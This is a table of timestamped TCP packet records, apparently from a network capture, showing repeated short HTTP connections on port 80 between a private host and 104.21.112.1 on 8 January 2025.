Jan 8, 2025 17:13:27.618664026 CET	80	50020	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:27.703839064 CET	80	50020	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:27.816749096 CET	50020	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:27.951298952 CET	80	50020	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:28.019869089 CET	50020	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:28.091403961 CET	50019	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:28.091474056 CET	50020	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:28.092808962 CET	50021	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:28.096366882 CET	80	50019	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:28.096419096 CET	50019	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:28.097121000 CET	80	50020	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:28.097163916 CET	50020	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:28.097614050 CET	80	50021	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:28.097677946 CET	50021	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:28.097784042 CET	50021	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:28.102567911 CET	80	50021	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:28.441868067 CET	50021	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:28.446798086 CET	80	50021	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:28.446805954 CET	80	50021	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:28.446820974 CET	80	50021	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:28.541745901 CET	80	50021	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:28.738691092 CET	50021	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:28.778265953 CET	80	50021	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:28.897675991 CET	50021	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:28.897675991 CET	50022	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:28.902654886 CET	80	50022	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:28.902666092 CET	80	50021	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:28.902781963 CET	50022	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:28.902782917 CET	50021	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:28.902935982 CET	50022	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:28.907677889 CET	80	50022	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:29.254347086 CET	50022	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:29.487891912 CET	80	50022	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:29.487998962 CET	80	50022	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:29.488265038 CET	80	50022	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:29.488356113 CET	80	50022	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:29.578504086 CET	80	50022	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:29.578605890 CET	50022	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:29.778183937 CET	80	50022	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:29.922796011 CET	50022	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:29.923763990 CET	50023	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:29.928119898 CET	80	50022	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:29.928174973 CET	50022	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:29.928620100 CET	80	50023	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:29.928689957 CET	50023	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:29.928805113 CET	50023	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:29.933595896 CET	80	50023	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:30.285630941 CET	50023	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:30.290529013 CET	80	50023	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:30.290541887 CET	80	50023	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:30.290553093 CET	80	50023	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:30.376827002 CET	80	50023	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:30.441751003 CET	50023	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:30.613677025 CET	80	50023	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:30.738626957 CET	50023	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:30.741641045 CET	50023	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:30.742804050 CET	50024	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:30.747648954 CET	80	50024	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:30.747730970 CET	50024	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:30.747875929 CET	50024	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:30.752639055 CET	80	50024	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:30.763988018 CET	80	50023	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:30.764056921 CET	50023	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:31.098148108 CET	50024	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:31.103158951 CET	80	50024	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:31.103173018 CET	80	50024	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:31.103183031 CET	80	50024	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:31.211527109 CET	80	50024	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:31.316751957 CET	50024	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:31.460086107 CET	80	50024	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:31.519886971 CET	50024	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:31.614809036 CET	50024	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:31.615717888 CET	50025	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:31.619848013 CET	80	50024	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:31.619924068 CET	50024	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:31.620536089 CET	80	50025	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:31.620636940 CET	50025	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:31.620716095 CET	50025	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:31.625477076 CET	80	50025	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:31.973416090 CET	50025	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:31.978405952 CET	80	50025	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:31.978424072 CET	80	50025	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:31.978436947 CET	80	50025	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:32.064043045 CET	80	50025	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:32.238658905 CET	50025	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:32.306776047 CET	80	50025	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:32.393187046 CET	50026	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:32.398133039 CET	80	50026	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:32.400157928 CET	50026	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:32.401484966 CET	50026	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:32.406282902 CET	80	50026	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:32.442048073 CET	50025	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:32.636765003 CET	50027	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:32.641617060 CET	80	50027	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:32.641705036 CET	50027	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:32.641855955 CET	50027	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:32.646624088 CET	80	50027	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:32.754415989 CET	50026	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:32.759251118 CET	80	50026	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:32.759368896 CET	80	50026	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:32.852674007 CET	80	50026	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:32.988795042 CET	50027	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:32.993652105 CET	80	50027	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:32.993664026 CET	80	50027	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:32.993680954 CET	80	50027	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:33.019865990 CET	50026	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:33.095513105 CET	80	50026	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:33.104511976 CET	80	50027	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:33.207382917 CET	50026	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:33.238668919 CET	50027	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:33.341219902 CET	80	50027	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:33.438534975 CET	50027	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:33.459419966 CET	50025	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:33.459707975 CET	50026	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:33.459769011 CET	50027	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:33.460597038 CET	50028	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:33.464627981 CET	80	50025	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:33.464723110 CET	50025	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:33.465230942 CET	80	50026	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:33.465280056 CET	50026	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:33.465313911 CET	80	50027	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:33.465374947 CET	50027	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:33.465396881 CET	80	50028	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:33.465471983 CET	50028	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:33.465569019 CET	50028	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:33.470304966 CET	80	50028	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:33.816852093 CET	50028	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:33.821820021 CET	80	50028	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:33.821835995 CET	80	50028	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:33.821851969 CET	80	50028	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:33.949740887 CET	80	50028	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:34.035525084 CET	50028	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:34.110300064 CET	80	50028	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:34.238636971 CET	50028	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:34.239402056 CET	50028	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:34.240264893 CET	50029	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:34.244880915 CET	80	50028	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:34.244931936 CET	50028	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:34.245774031 CET	80	50029	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:34.245877028 CET	50029	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:34.246028900 CET	50029	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:34.250960112 CET	80	50029	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:34.598480940 CET	50029	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:34.603473902 CET	80	50029	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:34.603487015 CET	80	50029	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:34.603522062 CET	80	50029	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:34.699580908 CET	80	50029	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:34.816728115 CET	50029	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:34.935005903 CET	80	50029	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:35.020714998 CET	50029	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:35.304229975 CET	50029	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:35.305605888 CET	50030	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:35.309325933 CET	80	50029	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:35.309371948 CET	50029	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:35.310671091 CET	80	50030	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:35.310731888 CET	50030	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:35.310847998 CET	50030	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:35.315602064 CET	80	50030	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:35.661081076 CET	50030	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:35.666018963 CET	80	50030	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:35.666033983 CET	80	50030	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:35.666043043 CET	80	50030	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:35.778414965 CET	80	50030	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:35.832406044 CET	50030	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:36.029388905 CET	80	50030	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:36.199059010 CET	50030	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:36.203655005 CET	50031	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:36.204606056 CET	80	50030	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:36.204663038 CET	50030	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:36.208539963 CET	80	50031	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:36.208674908 CET	50031	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:36.208878994 CET	50031	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:36.213692904 CET	80	50031	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:36.567085028 CET	50031	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:36.572030067 CET	80	50031	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:36.572042942 CET	80	50031	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:36.572052002 CET	80	50031	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:36.654782057 CET	80	50031	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:36.707379103 CET	50031	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:36.910579920 CET	80	50031	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:37.019901991 CET	50031	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:37.041415930 CET	50031	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:37.042258978 CET	50032	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:37.046530008 CET	80	50031	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:37.046596050 CET	50031	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:37.047025919 CET	80	50032	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:37.047146082 CET	50032	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:37.047214985 CET	50032	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:37.051948071 CET	80	50032	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:37.394975901 CET	50032	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:37.400033951 CET	80	50032	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:37.400051117 CET	80	50032	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:37.400068045 CET	80	50032	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:37.521162987 CET	80	50032	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:37.734548092 CET	80	50032	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:37.738210917 CET	50032	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:37.763859987 CET	80	50032	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:37.927333117 CET	50032	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:38.001956940 CET	50032	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:38.003015041 CET	50033	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:38.007463932 CET	80	50032	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:38.007551908 CET	50032	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:38.007838964 CET	80	50033	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:38.007940054 CET	50033	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:38.008079052 CET	50033	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:38.012873888 CET	80	50033	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:38.106569052 CET	50034	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:38.111604929 CET	80	50034	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:38.111733913 CET	50034	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:38.113250971 CET	50034	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:38.116642952 CET	50033	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:38.118153095 CET	80	50034	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:38.162554026 CET	80	50033	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:38.259612083 CET	50035	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:38.264615059 CET	80	50035	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:38.264686108 CET	50035	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:38.264816999 CET	50035	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:38.269623041 CET	80	50035	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:38.385168076 CET	80	50033	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:38.385262012 CET	50033	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:38.457668066 CET	50034	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:38.462593079 CET	80	50034	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:38.462666988 CET	80	50034	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:38.560874939 CET	80	50034	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:38.613781929 CET	50035	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:38.618822098 CET	80	50035	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:38.618837118 CET	80	50035	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:38.618845940 CET	80	50035	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:38.663271904 CET	50034	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:38.735891104 CET	80	50035	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:38.794789076 CET	80	50034	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:38.816782951 CET	50035	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:38.882110119 CET	80	50034	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:38.882164001 CET	50034	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:38.965667963 CET	80	50035	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:39.019911051 CET	50035	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:39.057888985 CET	80	50035	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:39.180579901 CET	50034	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:39.180660963 CET	50035	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:39.182214022 CET	50036	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:39.185574055 CET	80	50034	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:39.185637951 CET	50034	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:39.185848951 CET	80	50035	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:39.185885906 CET	50035	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:39.187014103 CET	80	50036	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:39.187088013 CET	50036	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:39.187189102 CET	50036	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:39.191962957 CET	80	50036	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:39.535696983 CET	50036	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:39.540689945 CET	80	50036	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:39.540704012 CET	80	50036	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:39.540714979 CET	80	50036	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:39.630831957 CET	80	50036	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:39.707397938 CET	50036	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:39.872028112 CET	80	50036	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:40.019922972 CET	50036	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:40.054657936 CET	50036	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:40.055485964 CET	50037	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:40.059789896 CET	80	50036	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:40.059875011 CET	50036	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:40.060311079 CET	80	50037	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:40.060395002 CET	50037	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:40.060520887 CET	50037	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:40.065253019 CET	80	50037	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:40.410835981 CET	50037	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:40.415848970 CET	80	50037	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:40.415863991 CET	80	50037	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:40.415874004 CET	80	50037	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:40.514039993 CET	80	50037	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:40.726475954 CET	80	50037	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:40.726527929 CET	50037	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:40.767915964 CET	80	50037	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:40.888695955 CET	50037	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:41.043770075 CET	50037	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:41.044595003 CET	50038	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:41.049149990 CET	80	50037	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:41.049201012 CET	50037	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:41.049392939 CET	80	50038	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:41.049459934 CET	50038	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:41.049567938 CET	50038	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:41.054297924 CET	80	50038	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:41.395169973 CET	50038	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:41.400182009 CET	80	50038	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:41.400202036 CET	80	50038	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:41.400211096 CET	80	50038	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:41.511847973 CET	80	50038	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:41.707396030 CET	50038	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:41.763473034 CET	80	50038	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:41.816750050 CET	50038	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:41.899749994 CET	50038	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:41.900907993 CET	50039	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:41.904886007 CET	80	50038	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:41.904951096 CET	50038	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:41.905765057 CET	80	50039	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:41.905957937 CET	50039	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:41.906088114 CET	50039	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:41.910814047 CET	80	50039	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:42.254654884 CET	50039	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:42.259700060 CET	80	50039	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:42.259713888 CET	80	50039	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:42.259721041 CET	80	50039	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:42.355143070 CET	80	50039	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:42.535536051 CET	50039	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:42.676043987 CET	80	50039	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:42.738658905 CET	50039	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:42.800853014 CET	50039	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:42.802411079 CET	50040	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:42.805964947 CET	80	50039	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:42.806030035 CET	50039	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:42.807193995 CET	80	50040	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:42.807286024 CET	50040	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:42.807399035 CET	50040	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:42.812217951 CET	80	50040	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:43.161109924 CET	50040	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:43.166187048 CET	80	50040	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:43.166199923 CET	80	50040	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:43.166208982 CET	80	50040	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:43.281111956 CET	80	50040	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:43.326138020 CET	50040	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:43.441318989 CET	80	50040	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:43.519862890 CET	50040	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:43.574134111 CET	50040	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:43.575088024 CET	50041	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:43.579111099 CET	80	50040	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:43.579165936 CET	50040	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:43.579941034 CET	80	50041	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:43.580007076 CET	50041	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:43.580101967 CET	50041	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:43.584908009 CET	80	50041	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:43.896239042 CET	50041	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:43.896898985 CET	50042	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:43.901752949 CET	80	50042	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:43.901828051 CET	50042	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:43.901947975 CET	50042	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:43.906666040 CET	80	50042	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:43.942493916 CET	80	50041	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:43.958636045 CET	80	50041	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:43.958690882 CET	50041	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:44.057739019 CET	50043	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:44.062670946 CET	80	50043	104.21.112.1	192.168.2.5
